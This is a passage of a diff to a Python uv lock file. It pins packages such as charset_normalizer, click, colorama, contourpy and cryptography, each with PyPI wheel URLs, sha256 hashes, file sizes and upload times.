"sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0", size = 199622, upload-time = "2025-05-02T08:32:56.363Z" }, + { url = "https://files.pythonhosted.org/packages/04/93/bf204e6f344c39d9937d3c13c8cd5bbfc266472e51fc8c07cb7f64fcd2de/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf", size = 143435, upload-time = "2025-05-02T08:32:58.551Z" }, + { url = "https://files.pythonhosted.org/packages/22/2a/ea8a2095b0bafa6c5b5a55ffdc2f924455233ee7b91c69b7edfcc9e02284/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e", size = 153653, upload-time = "2025-05-02T08:33:00.342Z" }, + { url = "https://files.pythonhosted.org/packages/b6/57/1b090ff183d13cef485dfbe272e2fe57622a76694061353c59da52c9a659/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1", size = 146231, upload-time = "2025-05-02T08:33:02.081Z" }, + { url = "https://files.pythonhosted.org/packages/e2/28/ffc026b26f441fc67bd21ab7f03b313ab3fe46714a14b516f931abe1a2d8/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c", size = 148243, upload-time = "2025-05-02T08:33:04.063Z" }, + { url = "https://files.pythonhosted.org/packages/c0/0f/9abe9bd191629c33e69e47c6ef45ef99773320e9ad8e9cb08b8ab4a8d4cb/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691", size = 150442, upload-time = "2025-05-02T08:33:06.418Z" }, + { url = "https://files.pythonhosted.org/packages/67/7c/a123bbcedca91d5916c056407f89a7f5e8fdfce12ba825d7d6b9954a1a3c/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0", size = 145147, upload-time = "2025-05-02T08:33:08.183Z" }, + { url = "https://files.pythonhosted.org/packages/ec/fe/1ac556fa4899d967b83e9893788e86b6af4d83e4726511eaaad035e36595/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b", size = 153057, upload-time = "2025-05-02T08:33:09.986Z" }, + { url = "https://files.pythonhosted.org/packages/2b/ff/acfc0b0a70b19e3e54febdd5301a98b72fa07635e56f24f60502e954c461/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff", size = 156454, upload-time = "2025-05-02T08:33:11.814Z" }, + { url = "https://files.pythonhosted.org/packages/92/08/95b458ce9c740d0645feb0e96cea1f5ec946ea9c580a94adfe0b617f3573/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b", size = 154174, upload-time = "2025-05-02T08:33:13.707Z" }, + { url = "https://files.pythonhosted.org/packages/78/be/8392efc43487ac051eee6c36d5fbd63032d78f7728cb37aebcc98191f1ff/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148", size = 149166, upload-time = "2025-05-02T08:33:15.458Z" }, + { url = "https://files.pythonhosted.org/packages/44/96/392abd49b094d30b91d9fbda6a69519e95802250b777841cf3bda8fe136c/charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7", size = 98064, upload-time = "2025-05-02T08:33:17.06Z" }, + { url = "https://files.pythonhosted.org/packages/e9/b0/0200da600134e001d91851ddc797809e2fe0ea72de90e09bec5a2fbdaccb/charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980", size = 105641, upload-time = "2025-05-02T08:33:18.753Z" }, + { url = "https://files.pythonhosted.org/packages/20/94/c5790835a017658cbfabd07f3bfb549140c3ac458cfc196323996b10095a/charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0", size = 52626, upload-time = "2025-05-02T08:34:40.053Z" }, +] + +[[package]] +name = "click" +version = "8.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cd/0f/62ca20172d4f87d93cf89665fbaedcd560ac48b465bd1d92bfc7ea6b0a41/click-8.2.0.tar.gz", hash = "sha256:f5452aeddd9988eefa20f90f05ab66f17fce1ee2a36907fd30b05bbb5953814d", size = 235857, upload-time = "2025-05-10T22:21:03.111Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a2/58/1f37bf81e3c689cc74ffa42102fa8915b59085f54a6e4a80bc6265c0f6bf/click-8.2.0-py3-none-any.whl", hash = "sha256:6b303f0b2aa85f1cb4e5303078fadcbcd4e476f114fab9b5007005711839325c", size = 102156, upload-time = "2025-05-10T22:21:01.352Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "contourpy" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/54/eb9bfc647b19f2009dd5c7f5ec51c4e6ca831725f1aea7a993034f483147/contourpy-1.3.2.tar.gz", hash = "sha256:b6945942715a034c671b7fc54f9588126b0b8bf23db2696e3ca8328f3ff0ab54", size = 13466130, upload-time = "2025-04-15T17:47:53.79Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/a3/da4153ec8fe25d263aa48c1a4cbde7f49b59af86f0b6f7862788c60da737/contourpy-1.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ba38e3f9f330af820c4b27ceb4b9c7feee5fe0493ea53a8720f4792667465934", size = 268551, upload-time = "2025-04-15T17:34:46.581Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6c/330de89ae1087eb622bfca0177d32a7ece50c3ef07b28002de4757d9d875/contourpy-1.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dc41ba0714aa2968d1f8674ec97504a8f7e334f48eeacebcaa6256213acb0989", size = 253399, upload-time = "2025-04-15T17:34:51.427Z" }, + { url = "https://files.pythonhosted.org/packages/c1/bd/20c6726b1b7f81a8bee5271bed5c165f0a8e1f572578a9d27e2ccb763cb2/contourpy-1.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9be002b31c558d1ddf1b9b415b162c603405414bacd6932d031c5b5a8b757f0d", size = 312061, upload-time = "2025-04-15T17:34:55.961Z" }, + { url = "https://files.pythonhosted.org/packages/22/fc/a9665c88f8a2473f823cf1ec601de9e5375050f1958cbb356cdf06ef1ab6/contourpy-1.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8d2e74acbcba3bfdb6d9d8384cdc4f9260cae86ed9beee8bd5f54fee49a430b9", size = 351956, upload-time = "2025-04-15T17:35:00.992Z" }, + { url = "https://files.pythonhosted.org/packages/25/eb/9f0a0238f305ad8fb7ef42481020d6e20cf15e46be99a1fcf939546a177e/contourpy-1.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e259bced5549ac64410162adc973c5e2fb77f04df4a439d00b478e57a0e65512", size = 320872, upload-time = "2025-04-15T17:35:06.177Z" }, + { url = "https://files.pythonhosted.org/packages/32/5c/1ee32d1c7956923202f00cf8d2a14a62ed7517bdc0ee1e55301227fc273c/contourpy-1.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad687a04bc802cbe8b9c399c07162a3c35e227e2daccf1668eb1f278cb698631", size = 325027, upload-time = "2025-04-15T17:35:11.244Z" }, + { url = "https://files.pythonhosted.org/packages/83/bf/9baed89785ba743ef329c2b07fd0611d12bfecbedbdd3eeecf929d8d3b52/contourpy-1.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cdd22595308f53ef2f891040ab2b93d79192513ffccbd7fe19be7aa773a5e09f", size = 1306641, upload-time = "2025-04-15T17:35:26.701Z" }, + { url = "https://files.pythonhosted.org/packages/d4/cc/74e5e83d1e35de2d28bd97033426b450bc4fd96e092a1f7a63dc7369b55d/contourpy-1.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4f54d6a2defe9f257327b0f243612dd051cc43825587520b1bf74a31e2f6ef2", size = 1374075, upload-time = "2025-04-15T17:35:43.204Z" }, + { url = "https://files.pythonhosted.org/packages/0c/42/17f3b798fd5e033b46a16f8d9fcb39f1aba051307f5ebf441bad1ecf78f8/contourpy-1.3.2-cp310-cp310-win32.whl", hash = "sha256:f939a054192ddc596e031e50bb13b657ce318cf13d264f095ce9db7dc6ae81c0", size = 177534, upload-time = "2025-04-15T17:35:46.554Z" }, + { url = "https://files.pythonhosted.org/packages/54/ec/5162b8582f2c994721018d0c9ece9dc6ff769d298a8ac6b6a652c307e7df/contourpy-1.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:c440093bbc8fc21c637c03bafcbef95ccd963bc6e0514ad887932c18ca2a759a", size = 221188, upload-time = "2025-04-15T17:35:50.064Z" }, + { url = "https://files.pythonhosted.org/packages/b3/b9/ede788a0b56fc5b071639d06c33cb893f68b1178938f3425debebe2dab78/contourpy-1.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6a37a2fb93d4df3fc4c0e363ea4d16f83195fc09c891bc8ce072b9d084853445", size = 269636, upload-time = "2025-04-15T17:35:54.473Z" }, + { url = "https://files.pythonhosted.org/packages/e6/75/3469f011d64b8bbfa04f709bfc23e1dd71be54d05b1b083be9f5b22750d1/contourpy-1.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b7cd50c38f500bbcc9b6a46643a40e0913673f869315d8e70de0438817cb7773", size = 254636, upload-time = "2025-04-15T17:35:58.283Z" }, + { url = "https://files.pythonhosted.org/packages/8d/2f/95adb8dae08ce0ebca4fd8e7ad653159565d9739128b2d5977806656fcd2/contourpy-1.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d6658ccc7251a4433eebd89ed2672c2ed96fba367fd25ca9512aa92a4b46c4f1", size = 313053, upload-time = "2025-04-15T17:36:03.235Z" }, + { url = "https://files.pythonhosted.org/packages/c3/a6/8ccf97a50f31adfa36917707fe39c9a0cbc24b3bbb58185577f119736cc9/contourpy-1.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:70771a461aaeb335df14deb6c97439973d253ae70660ca085eec25241137ef43", size = 352985, upload-time = "2025-04-15T17:36:08.275Z" }, + { url = "https://files.pythonhosted.org/packages/1d/b6/7925ab9b77386143f39d9c3243fdd101621b4532eb126743201160ffa7e6/contourpy-1.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65a887a6e8c4cd0897507d814b14c54a8c2e2aa4ac9f7686292f9769fcf9a6ab", size = 323750, upload-time = "2025-04-15T17:36:13.29Z" }, + { url = "https://files.pythonhosted.org/packages/c2/f3/20c5d1ef4f4748e52d60771b8560cf00b69d5c6368b5c2e9311bcfa2a08b/contourpy-1.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3859783aefa2b8355697f16642695a5b9792e7a46ab86da1118a4a23a51a33d7", size = 326246, upload-time = "2025-04-15T17:36:18.329Z" }, + { url = "https://files.pythonhosted.org/packages/8c/e5/9dae809e7e0b2d9d70c52b3d24cba134dd3dad979eb3e5e71f5df22ed1f5/contourpy-1.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:eab0f6db315fa4d70f1d8ab514e527f0366ec021ff853d7ed6a2d33605cf4b83", size = 1308728, upload-time = "2025-04-15T17:36:33.878Z" }, + { url = "https://files.pythonhosted.org/packages/e2/4a/0058ba34aeea35c0b442ae61a4f4d4ca84d6df8f91309bc2d43bb8dd248f/contourpy-1.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d91a3ccc7fea94ca0acab82ceb77f396d50a1f67412efe4c526f5d20264e6ecd", size = 1375762, upload-time = "2025-04-15T17:36:51.295Z" }, + { url = "https://files.pythonhosted.org/packages/09/33/7174bdfc8b7767ef2c08ed81244762d93d5c579336fc0b51ca57b33d1b80/contourpy-1.3.2-cp311-cp311-win32.whl", hash = "sha256:1c48188778d4d2f3d48e4643fb15d8608b1d01e4b4d6b0548d9b336c28fc9b6f", size = 178196, upload-time = "2025-04-15T17:36:55.002Z" }, + { url = "https://files.pythonhosted.org/packages/5e/fe/4029038b4e1c4485cef18e480b0e2cd2d755448bb071eb9977caac80b77b/contourpy-1.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:5ebac872ba09cb8f2131c46b8739a7ff71de28a24c869bcad554477eb089a878", size = 222017, upload-time = "2025-04-15T17:36:58.576Z" }, + { url = "https://files.pythonhosted.org/packages/34/f7/44785876384eff370c251d58fd65f6ad7f39adce4a093c934d4a67a7c6b6/contourpy-1.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4caf2bcd2969402bf77edc4cb6034c7dd7c0803213b3523f111eb7460a51b8d2", size = 271580, upload-time = "2025-04-15T17:37:03.105Z" }, + { url = "https://files.pythonhosted.org/packages/93/3b/0004767622a9826ea3d95f0e9d98cd8729015768075d61f9fea8eeca42a8/contourpy-1.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:82199cb78276249796419fe36b7386bd8d2cc3f28b3bc19fe2454fe2e26c4c15", size = 255530, upload-time = "2025-04-15T17:37:07.026Z" }, + { url = "https://files.pythonhosted.org/packages/e7/bb/7bd49e1f4fa805772d9fd130e0d375554ebc771ed7172f48dfcd4ca61549/contourpy-1.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:106fab697af11456fcba3e352ad50effe493a90f893fca6c2ca5c033820cea92", size = 307688, upload-time = "2025-04-15T17:37:11.481Z" }, + { url = "https://files.pythonhosted.org/packages/fc/97/e1d5dbbfa170725ef78357a9a0edc996b09ae4af170927ba8ce977e60a5f/contourpy-1.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d14f12932a8d620e307f715857107b1d1845cc44fdb5da2bc8e850f5ceba9f87", size = 347331, upload-time = "2025-04-15T17:37:18.212Z" }, + { url = "https://files.pythonhosted.org/packages/6f/66/e69e6e904f5ecf6901be3dd16e7e54d41b6ec6ae3405a535286d4418ffb4/contourpy-1.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:532fd26e715560721bb0d5fc7610fce279b3699b018600ab999d1be895b09415", size = 318963, upload-time = "2025-04-15T17:37:22.76Z" }, + { url = "https://files.pythonhosted.org/packages/a8/32/b8a1c8965e4f72482ff2d1ac2cd670ce0b542f203c8e1d34e7c3e6925da7/contourpy-1.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f26b383144cf2d2c29f01a1e8170f50dacf0eac02d64139dcd709a8ac4eb3cfe", size = 323681, upload-time = "2025-04-15T17:37:33.001Z" }, + { url = "https://files.pythonhosted.org/packages/30/c6/12a7e6811d08757c7162a541ca4c5c6a34c0f4e98ef2b338791093518e40/contourpy-1.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c49f73e61f1f774650a55d221803b101d966ca0c5a2d6d5e4320ec3997489441", size = 1308674, upload-time = "2025-04-15T17:37:48.64Z" }, + { url = "https://files.pythonhosted.org/packages/2a/8a/bebe5a3f68b484d3a2b8ffaf84704b3e343ef1addea528132ef148e22b3b/contourpy-1.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3d80b2c0300583228ac98d0a927a1ba6a2ba6b8a742463c564f1d419ee5b211e", size = 1380480, upload-time = "2025-04-15T17:38:06.7Z" }, + { url = "https://files.pythonhosted.org/packages/34/db/fcd325f19b5978fb509a7d55e06d99f5f856294c1991097534360b307cf1/contourpy-1.3.2-cp312-cp312-win32.whl", hash = "sha256:90df94c89a91b7362e1142cbee7568f86514412ab8a2c0d0fca72d7e91b62912", size = 178489, upload-time = "2025-04-15T17:38:10.338Z" }, + { url = "https://files.pythonhosted.org/packages/01/c8/fadd0b92ffa7b5eb5949bf340a63a4a496a6930a6c37a7ba0f12acb076d6/contourpy-1.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:8c942a01d9163e2e5cfb05cb66110121b8d07ad438a17f9e766317bcb62abf73", size = 223042, upload-time = "2025-04-15T17:38:14.239Z" }, + { url = "https://files.pythonhosted.org/packages/2e/61/5673f7e364b31e4e7ef6f61a4b5121c5f170f941895912f773d95270f3a2/contourpy-1.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:de39db2604ae755316cb5967728f4bea92685884b1e767b7c24e983ef5f771cb", size = 271630, upload-time = "2025-04-15T17:38:19.142Z" }, + { url = "https://files.pythonhosted.org/packages/ff/66/a40badddd1223822c95798c55292844b7e871e50f6bfd9f158cb25e0bd39/contourpy-1.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3f9e896f447c5c8618f1edb2bafa9a4030f22a575ec418ad70611450720b5b08", size = 255670, upload-time = "2025-04-15T17:38:23.688Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c7/cf9fdee8200805c9bc3b148f49cb9482a4e3ea2719e772602a425c9b09f8/contourpy-1.3.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71e2bd4a1c4188f5c2b8d274da78faab884b59df20df63c34f74aa1813c4427c", size = 306694, upload-time = "2025-04-15T17:38:28.238Z" }, + { url = "https://files.pythonhosted.org/packages/dd/e7/ccb9bec80e1ba121efbffad7f38021021cda5be87532ec16fd96533bb2e0/contourpy-1.3.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de425af81b6cea33101ae95ece1f696af39446db9682a0b56daaa48cfc29f38f", size = 345986, upload-time = "2025-04-15T17:38:33.502Z" }, + { url = "https://files.pythonhosted.org/packages/dc/49/ca13bb2da90391fa4219fdb23b078d6065ada886658ac7818e5441448b78/contourpy-1.3.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:977e98a0e0480d3fe292246417239d2d45435904afd6d7332d8455981c408b85", size = 318060, upload-time = "2025-04-15T17:38:38.672Z" }, + { url = "https://files.pythonhosted.org/packages/c8/65/5245ce8c548a8422236c13ffcdcdada6a2a812c361e9e0c70548bb40b661/contourpy-1.3.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:434f0adf84911c924519d2b08fc10491dd282b20bdd3fa8f60fd816ea0b48841", size = 322747, upload-time = "2025-04-15T17:38:43.712Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/669b8eb48e0a01c660ead3752a25b44fdb2e5ebc13a55782f639170772f9/contourpy-1.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c66c4906cdbc50e9cba65978823e6e00b45682eb09adbb78c9775b74eb222422", size = 1308895, upload-time = "2025-04-15T17:39:00.224Z" }, + { url = "https://files.pythonhosted.org/packages/05/5a/b569f4250decee6e8d54498be7bdf29021a4c256e77fe8138c8319ef8eb3/contourpy-1.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8b7fc0cd78ba2f4695fd0a6ad81a19e7e3ab825c31b577f384aa9d7817dc3bef", size = 1379098, upload-time = "2025-04-15T17:43:29.649Z" }, + { url = "https://files.pythonhosted.org/packages/19/ba/b227c3886d120e60e41b28740ac3617b2f2b971b9f601c835661194579f1/contourpy-1.3.2-cp313-cp313-win32.whl", hash = "sha256:15ce6ab60957ca74cff444fe66d9045c1fd3e92c8936894ebd1f3eef2fff075f", size = 178535, upload-time = "2025-04-15T17:44:44.532Z" }, + { url = "https://files.pythonhosted.org/packages/12/6e/2fed56cd47ca739b43e892707ae9a13790a486a3173be063681ca67d2262/contourpy-1.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:e1578f7eafce927b168752ed7e22646dad6cd9bca673c60bff55889fa236ebf9", size = 223096, upload-time = "2025-04-15T17:44:48.194Z" }, + { url = "https://files.pythonhosted.org/packages/54/4c/e76fe2a03014a7c767d79ea35c86a747e9325537a8b7627e0e5b3ba266b4/contourpy-1.3.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0475b1f6604896bc7c53bb070e355e9321e1bc0d381735421a2d2068ec56531f", size = 285090, upload-time = "2025-04-15T17:43:34.084Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e2/5aba47debd55d668e00baf9651b721e7733975dc9fc27264a62b0dd26eb8/contourpy-1.3.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:c85bb486e9be652314bb5b9e2e3b0d1b2e643d5eec4992c0fbe8ac71775da739", size = 268643, upload-time = "2025-04-15T17:43:38.626Z" }, + { url = "https://files.pythonhosted.org/packages/a1/37/cd45f1f051fe6230f751cc5cdd2728bb3a203f5619510ef11e732109593c/contourpy-1.3.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:745b57db7758f3ffc05a10254edd3182a2a83402a89c00957a8e8a22f5582823", size = 310443, upload-time = "2025-04-15T17:43:44.522Z" }, + { url = "https://files.pythonhosted.org/packages/8b/a2/36ea6140c306c9ff6dd38e3bcec80b3b018474ef4d17eb68ceecd26675f4/contourpy-1.3.2-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:970e9173dbd7eba9b4e01aab19215a48ee5dd3f43cef736eebde064a171f89a5", size = 349865, upload-time = "2025-04-15T17:43:49.545Z" }, + { url = "https://files.pythonhosted.org/packages/95/b7/2fc76bc539693180488f7b6cc518da7acbbb9e3b931fd9280504128bf956/contourpy-1.3.2-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c6c4639a9c22230276b7bffb6a850dfc8258a2521305e1faefe804d006b2e532", size = 321162, upload-time = "2025-04-15T17:43:54.203Z" }, + { url = "https://files.pythonhosted.org/packages/f4/10/76d4f778458b0aa83f96e59d65ece72a060bacb20cfbee46cf6cd5ceba41/contourpy-1.3.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc829960f34ba36aad4302e78eabf3ef16a3a100863f0d4eeddf30e8a485a03b", size = 327355, upload-time = "2025-04-15T17:44:01.025Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/10cf483ea683f9f8ab096c24bad3cce20e0d1dd9a4baa0e2093c1c962d9d/contourpy-1.3.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:d32530b534e986374fc19eaa77fcb87e8a99e5431499949b828312bdcd20ac52", size = 1307935, upload-time = "2025-04-15T17:44:17.322Z" }, + { url = "https://files.pythonhosted.org/packages/78/73/69dd9a024444489e22d86108e7b913f3528f56cfc312b5c5727a44188471/contourpy-1.3.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e298e7e70cf4eb179cc1077be1c725b5fd131ebc81181bf0c03525c8abc297fd", size = 1372168, upload-time = "2025-04-15T17:44:33.43Z" }, + { url = "https://files.pythonhosted.org/packages/0f/1b/96d586ccf1b1a9d2004dd519b25fbf104a11589abfd05484ff12199cca21/contourpy-1.3.2-cp313-cp313t-win32.whl", hash = "sha256:d0e589ae0d55204991450bb5c23f571c64fe43adaa53f93fc902a84c96f52fe1", size = 189550, upload-time = "2025-04-15T17:44:37.092Z" }, + { url = "https://files.pythonhosted.org/packages/b0/e6/6000d0094e8a5e32ad62591c8609e269febb6e4db83a1c75ff8868b42731/contourpy-1.3.2-cp313-cp313t-win_amd64.whl", hash = "sha256:78e9253c3de756b3f6a5174d024c4835acd59eb3f8e2ca13e775dbffe1558f69", size = 238214, upload-time = "2025-04-15T17:44:40.827Z" }, + { url = "https://files.pythonhosted.org/packages/33/05/b26e3c6ecc05f349ee0013f0bb850a761016d89cec528a98193a48c34033/contourpy-1.3.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:fd93cc7f3139b6dd7aab2f26a90dde0aa9fc264dbf70f6740d498a70b860b82c", size = 265681, upload-time = "2025-04-15T17:44:59.314Z" }, + { url = "https://files.pythonhosted.org/packages/2b/25/ac07d6ad12affa7d1ffed11b77417d0a6308170f44ff20fa1d5aa6333f03/contourpy-1.3.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:107ba8a6a7eec58bb475329e6d3b95deba9440667c4d62b9b6063942b61d7f16", size = 315101, upload-time = "2025-04-15T17:45:04.165Z" }, + { url = "https://files.pythonhosted.org/packages/8f/4d/5bb3192bbe9d3f27e3061a6a8e7733c9120e203cb8515767d30973f71030/contourpy-1.3.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ded1706ed0c1049224531b81128efbd5084598f18d8a2d9efae833edbd2b40ad", size = 220599, upload-time = "2025-04-15T17:45:08.456Z" }, + { url = "https://files.pythonhosted.org/packages/ff/c0/91f1215d0d9f9f343e4773ba6c9b89e8c0cc7a64a6263f21139da639d848/contourpy-1.3.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5f5964cdad279256c084b69c3f412b7801e15356b16efa9d78aa974041903da0", size = 266807, upload-time = "2025-04-15T17:45:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/d4/79/6be7e90c955c0487e7712660d6cead01fa17bff98e0ea275737cc2bc8e71/contourpy-1.3.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49b65a95d642d4efa8f64ba12558fcb83407e58a2dfba9d796d77b63ccfcaff5", size = 318729, upload-time = "2025-04-15T17:45:20.166Z" }, + { url = "https://files.pythonhosted.org/packages/87/68/7f46fb537958e87427d98a4074bcde4b67a70b04900cfc5ce29bc2f556c1/contourpy-1.3.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:8c5acb8dddb0752bf252e01a3035b21443158910ac16a3b0d20e7fed7d534ce5", size = 221791, upload-time = "2025-04-15T17:45:24.794Z" }, +] + +[[package]] +name = "cryptography" +version = "46.0.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", version = "2.0.0", source = { registry = "https://pypi.org/simple" }, marker = "platform_python_implementation != 'PyPy' and sys_platform != 'darwin'" }, + { name = "typing-extensions", marker = "python_full_version < '3.11' and sys_platform != 'darwin'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/60/04/ee2a9e8542e4fa2773b81771ff8349ff19cdd56b7258a0cc442639052edb/cryptography-46.0.5.tar.gz", hash = "sha256:abace499247268e3757271b2f1e244b36b06f8515cf27c4d49468fc9eb16e93d", size = 750064, upload-time = "2026-02-10T19:18:38.255Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ff/9e/6b4397a3e3d15123de3b1806ef342522393d50736c13b20ec4c9ea6693a6/cryptography-46.0.5-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c18ff11e86df2e28854939acde2d003f7984f721eba450b56a200ad90eeb0e6b", size = 4275637, upload-time = "2026-02-10T19:17:10.53Z" }, + { url = "https://files.pythonhosted.org/packages/63/e7/471ab61099a3920b0c77852ea3f0ea611c9702f651600397ac567848b897/cryptography-46.0.5-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d7e3d356b8cd4ea5aff04f129d5f66ebdc7b6f8eae802b93739ed520c47c79b", size = 4424742, upload-time = "2026-02-10T19:17:12.388Z" }, + { url = 